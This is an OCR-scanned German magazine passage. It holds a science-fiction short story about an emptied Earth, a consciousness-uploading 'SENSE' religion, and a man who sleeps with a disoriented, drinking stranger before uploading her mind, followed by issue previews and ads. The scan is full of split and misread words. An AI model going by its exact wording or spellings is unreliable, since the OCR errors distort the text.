.g stärker, der Wind lauter. Er  sehnte s ich  plötz­
� l i eh nach mensch l icher Gese l l schaft. Der Zug 
� war abgefah ren .  Endgü lt ig. Der e ine Tei l  der 
� Menschheit wa r a usgewandert i n  d ie  künst­
-� I i chen Wohnweiten der MintAG, der andere 
� Tei i  n u r  noch E lektronenstau b  im kyberneti­
g sehen Organ i smus  von SENSE. Eu ropa war 

tot! Der Louvre leer und verlassen. Berl i n  e ine 
kah le  Ste inwüste. Spanien e ine vergessene 
Herdp latte, d ie  vor s ich h i ng l ühte. Der Rest 
der Weit, wenn es i h n  noch gäbe, sähe ge­
nauso aus, aber es gab i h n  ja seit Jahrzehn­
ten n icht mehr. 

Es gab e inen Zeitpunkt, da hatte er e ine 
Wah l .  Doch d ieser Zeitpu n kt wa r vorbei .  
Weggebl i nzelt wie e ine flüchtige Träne. Das 
Staubkorn, das er  war, bl ieb a l le in  zurück auf 
e inem leeren P laneten .  Se ine Sch ritte ha l lten 
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und  gaben i h m  d ie  I l l u s ion von Leben. E r  
rannte jetzt. Der  Regen peitschte i n  se in  er­
h itztes Gesicht. 

D ie Lam pen brannten noch in den Stra­
ßen. Denn s ie waren aus u nzerstörbarem 
P lasta h l  und besaßen einen a utarken Ener­
g iekre is lauf. Am Tag luden s ie  s ich a uf, 
nachts leuchteten s ie.  Die nassen E lastoplex­
straßen sch i m merten in i h rem Licht, l iegen 
gebl iebene Kadaver auf  einem E lefanten­
friedhof. Soga r  d ie  Retroreklame fun ktion ier­
te noch. 

Er  l i ef und l i ef. D ie  Augen bran nten i m  
Wind. E i n  schwarzer Voge l  l ieß s ich vor i h m  
nieder u n d  krächzte heiser. D a  sah er a u s  den 
Augenwinke ln  e ine Bewegung .  Er  d rehte 
s ich u m  und ersta rrte. Tiefe, d u n kle  hase l ­
nussbraune Augen sahen i hn  ebenfa l l s  an .  

Dann  rannte s ie weg. 
Er  sah s ie i n  eine verlassene E inka ufspas­

sage laufen .  Die E ingangstü re e ines Beklei­
d ungsgeschäftes stand offen, d ie  Schaufens­
ter zertrümmert, das I nventar gep lündert. Es 
gab n icht viele Versteckmög l i chkeiten.  Er 
fand s ie u nter dem Ladentisch. 

,.Ruh ig, ganz ruh ig", sagte er. Se ine Stim­
me krächzte. E r  wa r das  Reden nicht mehr  
gewoh nt. S ie  b l i ckte i h n  mit  verheulten 
Augen aus e inem schwarzen wi rren Haar­
busch an ,  sagte aber n ichts. 

,. Kom m  m it. Wir besorgen uns was zu 
essen." E inen besseren Spruch hatte er  le ider 
n icht a uf Lager .  Bei F rauen war er  i m mer  
etwas h i lflos. 

Widerstands los l ieß s ie s ich a ufhelfen und  
folgte i h m  zögerl i ch .  ,.Meinen Namen habe 
ich vergessen. Nenn  mich  e i nfach Bobby. 
Bobby Peru." Das entsprach tatsäch l i ch  der  
Wah rheit .  E r  eri n nerte s ich n icht  mehr  a n  
a l l es. B i s  auf  d ie  Sachen,  d i e  i h m  wirk l ich 
etwas bedeuteten .  Wie der  F i lm ,.Wi l d  At 
Heart" von David Lynch,  den er zu Hause 
wieder und wieder  ansah .  

Der Strom fun ktion ie rte immer noch zu­
verläss ig.  

Er  hatte plötz l ich das Bed ü rfn i s  zu reden, 
einfach nur zu reden.  

,.Wei ßt d u  noch,  wie a l les anfing?  Hast du 
m itbekommen, wie's losg ing?" 

S ie sta rrte i h n  an .  Da fie l  i h m  auf, welch 
absurde Kle idu n g  s ie  t rug .  ,.Du  bist e ine 
Kran kenschwester?" Ihr  Kittel stand weit 
offen.  Darunter sah er  e in  b laues OP-Hemd 
mit lose herunterhängenden Bändern. 

,. Ich . . .  ich weiß n icht, was passiert i st." S ie 
tat s ich schwer m it dem Sprechen.  ,. Ich b in 
aufgewacht und n iemand war da .  Ich schr ie 
und rannte." 

l n  e inem Damen-Beklei dungsgeschäft, 
das noch gut gefü l lt wa r, suchte e r  fü r s ie  
etwas zum Anziehen .  Dabei  ste l lte er  fest, 
wie ausgemergelt  sie war. R i ppen u n d  
Schlüsse lbein zeichneten s ich klar u nter der 
Haut ab. Brüste waren kau m  zu erkennen.  Er  
fragte sie nach i h rem Namen und beka m  n u r  
e inen verständn is losen B l ick. 

Dann nahm er s ie mit i n  sein Zuhause. Er 
entfernte das Vorhängesch loss an der Eisen­
tür  mit dem schweren Riegel und stem mte 
sich gegen die qu ietschende Tür. Drinnen war 
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es dunke l  und m uffig .  ,. Es g ibt noch Strom 
und Wasser", sagte er. ,.Meistens aber kalt." 

,.Wei ßt du noch, wie es anfing?" fragte s ie 
i hn  p lötzl ich .  

Er  zuckte mit  den Schu ltern und  füh rte s ie 
d u rch se inen B u n ker. ,.Setz d ich  und tri n k  
erst ma l  was." Se ine Stimme k lang rauh .  E r  
zeigte a uf s e i n  Sofa, d a s  er  mühsam h ierher 
getragen hatte, vor langer Zeit. Da war es 
noch neu und g l änzend,  jetzt a l t  und ver­
sch l i ssen .  Aber es e rfü l lte se inen Zweck. E r  
ho lte e ine F lasche Whiskey und zwei P last ik­
becher. Das B ier  i n  den Läden war l ängst 
sch lecht geworden.  Die ha rten Sachen h ie l ­
ten länger d u rch .  

,.Es fing  a n  mit  der BE-Edit ion eines freien 
Betriebssystems, genannt SENSE, und hörte 
n icht mehr  auf. Anfangs  verte i lten sie es 
noch kosten los, a be r  dann  kam d ie  Rech­
nung  postwendend." 

,.Was ist e ine BE-Edit ion und e in  Betriebs­
system?" fragte s ie und n ippte a n  i h rem Be­
cher. 

,.So etwas wie eine besondere Ausgabe.  
BE steht, g l aube ich, für ,beautifu l  edit ion' .  Es 
war ein besonders schönes Betriebssystem, 
entschu ld ige, das ist so etwas wie das Grund­
prog ra m m  e ines Computers. E r  braucht es 
zum Arbeiten .  Sonst ist er  nur e ine  leere 
Hü l le. I m  Verg le ich zu e inem . . .  " 

S ie g riff nach seiner 1;-iand und u nterbrach 
damit seinen Redeschwa l l :  . . Das ist mir zu viel 
Techn ik-B lab la .  Sag l ieber, was passiert i st." 

,.Entschu ld ige", er spürte, wie i hm das B lut 
ins  Ges icht schoss. 

,.A l so, sie l i eferten sich b l ut ige Straßen­
käm pfe mit  der M intAG, d ie  mit  a l len M ittel n  
versuchte, d ie  Menschen dazu z u  bewegen, 
s ich i n  i h ren Raumarchen n iederzu lassen, die 
a l s  Sate l l iten d ie  Erde umschwärmten." 

,.Stopp, stopp.  Wer s ind  d ie  jetzt schon 
wieder?" 

,.D ie M intAG ist e in  kommerzie l les Soft­
wareunternehmen .  D ie Hauptkonku rrenz 
von Sense. Beide wollen die Tota lherrschaft 
i n  der v i rtue l len Weit und auf  dem P laneten. 
Davon m usst d u  doch etwas m itbekommen 
haben?" 

,.Me in Becher  i st leer", sagte s ie n u r. Et  
schenkte i h r  schne l l  nach .  

,.A l so, Sense verschenkte se ine Software 
und viele i nsta l l i e rten s ie auf i h ren Compu­
tern,  Tablets und Kom-Geräten zu Hause und 
sogar  a m  Arbeitsplatz. I rgendwann  waren sie 
sogar  in den Rechnern der  obersten Reg ie­
rungsbehörden.  E ines Tages bot Sense rel i ­
g iös verbrämt an ,  das Bewusstse in der Men­
schen zu d ig ita l i sieren und nach A lpha Cen­
taur i  ins He i lssystem zu streamen." 

,.Es entstand e ine Rel ig ion?" S ie rol lte mit  
den Augen.  

,.Darf i ch  d ich  Susanne  nennen?" S ie  er­
schien i h m  plötz l ich so nackt und  h i lflos. 

,.Wen n  du wi l l st." S ie t ra n k  einen g roßen 
Schl uck. 

Er erzäh lte weiter. S ie  hatte d ie  Augen 
ha lb  gesch lossen. ,.Fanat iker von Sense und 
M intAG beschossen s i ch  gegenseit ig mit den 
neuesten M ikrostra h lern,  d ie  n u r  mensch l i­
ches Gewebe verdam pften, a be r  t ier ische 

DNS unangetastet l ießen.  S ie entvöl kerten 
die Erde und  nahmen die wen igen Überle­
benden m it, die einen als E lektronensmog 
fü r Alpha Centa u ri, d ie  anderen a l s  neue 
Sterne i n  den Sate l l iten der MintAG." I h re 
Atemzüge g i ngen jetzt regelmäßig .  

Er  war so richtig i n  Fah rt und redete noch 
ein bisschen weiter: ,.Die richtig Reichen g in­
gen i n  d ie Raumarchen. Wer s ich einen holo­
grafischen Dist i l ler  fü r sei nen Kirchensim leis­
ten konnte, der verschwa·nd im Datenstrom. 
Wer zu arm war, der brachte ein d ig ita l i sier­
tes Bewusstsei n  eines F reiwi l l igen auf einem 
Chip mit  und speiste es i n  das Hei l ssystem 
e in .  Dam it erhielt jeder, der wollte, freie Fahrt 
nach A lpha Centau ri .  Wer s ich zuerst n icht 
entscheiden wol lte, der  b l ieb lange Zeit a l ­
le in  und tat  es dann doch." 

Er sah auf i h re s ich regelmäßig bewegen­
de Brust: ,.Das ging so lange, b is d ie Erde leer 
war." Er  nahm einen t iefen Sch luck aus sei­
nem Becher und schenkte sich nach. 

,.B is  ich ganz a l l e i n  war", fügte er ton los 
h inzu. 

Er versuchte i h re Beine anzuheben und sie 
richtig h i nzu legen.  S ie  k ippte auf die Seite 
und wachte wieder a uf: ,.H i lf m i r. Halt mich, 
ganz fest." 

Er legte s ich zu i h r  und küsste sie auf den 
Mund .  K le ine feste Lippen. ,.Hast du auch e in 
Bett oder nur d ieses Sofa?" Er  zog ihr  den 
Pu l lover vom Oberkörper und suchte mit sei­
ner  Nase nach i h ren Brustwa rzen, bevor er 
sanft a n  i h nen zu saugen begann .  S ie zog 
s ich ganz aus, d ichte Haarbüschel unter den 
Achseln,  Schamhaare wie schwarze Stahlwol­
le zwischen den Be inen .  Er  schob s ie nach 
nebenan zu se inem Bett. ln d ieser Nacht 
sch l ief er zum ersten Mal seit langer Zeit wie­
der tief und fest, ohne verstörende Träume. 

Beinahe hätte er vergessen, s ie danach an 
das I nterface anzuschl ießen. Sch l ießl ich war 
er auch nur aus Fleisch und Blut und h inter­
her e in  wen ig erschöpft. Mit dem Ch ip in der 
Hand und einem trau rigen Gefüh l  im  Bauch 
ging er zur g roßen Lesestation i n  der Stadt­
mitte. Auf dem Ch ip  hatte er i h r  Bewusstsein,  
a l so ihr Betriebssystem sozusagen, fügte er 
i n  Gedanken h i nzu. Eigentl ich schade, dach­
te er. Aber es gab fü r ihn keinen a nderen 
Weg. Der Zug war abgefa h ren .  A ls  er den 
Chip i n  d ie Masch ine steckte, sprang der ho­
log rafische D ist i l l e r  a n  und er  befand s ich 
wieder i n mitten von bunten Lichtern; gebro­
chenes Licht aus  fa rbigen Kirchenfenstern. 

Vor dem gesch mückten Altar betete er 
laut :  

,. Ich g laube an  d ie Gemeinschaft der Hei l i ­
gen,  B i l l i  Z. i l l i on  der  Vater, Adam Zion der 
Soh n.  Der Vater, der erste Weltraumtou ri st, 
d ie  Idee, das Licht, das Hei l ssystem, der Sohn, 
der  Verbreiter des Bitvangel ions, die Nah­
rung aus  0 und 1 und  das s imu l ierte Sein von 
SENSE und d ie Ü berwirkl ichkeit in Ewigkeit. 
Oh-SENSE! Erhöre uns  a rme Bitsch lucker und · 

er löse uns  i m  ewigen Datenstrom des Hei ls­
systems von unserer jammervol len Existenz." 

Er hatte seinen Dienst getan und erwarte­
te seinen verd ienten Lohn .  Das waren die Re­
ge ln  und er hoffte, dass sie noch ga lten. et 
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c't Bankix reloaded 

Wen n  Sie c't Bankix fürs On l ine-Banking e in­
setzen, haben Angreifer  keine  Chance, I h re 
Zugangsdaten a bzufangen oder das Konto 
zu man ipu l ieren. Mit dem neuen c't Ban kix 
1 2.04. 1 können Sie I h re Konten per Browser 
oder mit der F inanzsoftwa re H i biscus via 
H BC I  verwa lten.  

Monitore für Anspruchsvolle 

Stab i ler  Stand,  matte Oberfläche, erweiterter 
Farbraum,  ger inge Winkelabhäng igkeit, kna­
ckiger Kontrast und praktische Extras - wer 
solche Qua l itäten von einem 24-Zoi i -Monitor 
mit Fu i i-HD-Auflösung oder höher fordert, i st 
ab 350 Euro dabei .  

Web komplett 

E in  moderner Webauftritt bezieht se ine mu l ­
t imedia len I nha lte aus  e iner  Datenbank und 
b indet externe Daten etwa aus  Facebook e in .  
Wir  zeigen, wie man das macht, und  testen 
geeignete Webhosting-Angebote, die wen i ­
ger a l s  10  Euro i m  Monat  kosten. 

Schnelles Internet 

Das neue Telekommun ikationsgesetz enthält 
vie le verbesserte Regelu ngen zum Kunden­
schutz. Wi r u ntersuchen, ob die Anbieter s ich 
daran ha lten und s ich die Transparenz für 
den Kunden tatsäch l ich verbessert hat. 

Doppelte Ladung 

E in  paar  Stu nden s u rfen m i t  
dem Smartphone u n d  der  
Akku i st leer. Wechse lakkus 
kön nten helfen, doch d ie g ibts 
meist n u r  fü r Smartphones i m  
Very-Oid-Schooi-Des ign .  Wer 
i ndes mit e inem sty l i sh zuge­
knöpften Smartphone länger  
ohne Stromnetz a uskommen 
m uss, dem bleiben n u r  mobi le 
Ladevorrichtungen.  

@ heise onl ine Ständiger Service auf heise onl"ne - www.heise.de 

Software-Verzeichnis: U nter www.heise.de/ 
software finden Sie a l l e  wichtigen Prog ram­
me für Windows, L inux, Macs und Mobi lge­
räte zum schnel len und s icheren Down Ioad. 
Screenshots und Kommentare helfen bei der 
Auswah l .  

heise Developer: Täg l ich News, Fachart ikel ,  
Interviews und Buchrezens ionen fü r Soft­
ware-Entwickler auf www.heisedeveloper.de 

Bildmotive aus c't: Ausgewäh lte Tite lb i lder  
a l s  B i ldsch i rmh intergrund auf  www.ct.de/ 
motive 

2 1 4  

I �l 

Heft 7/20 12 jetzt am Kiosk 
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T E L E P O L I S  
M A G A Z I N  D E R  N E T Z K U L T U R  

Hans Schmid: Leben i n  Zeiten der 
Gefa h r - e in  B ingham-Roman und 
d rei F i lme mit David Hemmings  

Kai Kleinwächter: Boomendes 
Bras i l ien:  Wachstum - Woh l stand ­
Instab i l ität 

www.heise.de/tp 
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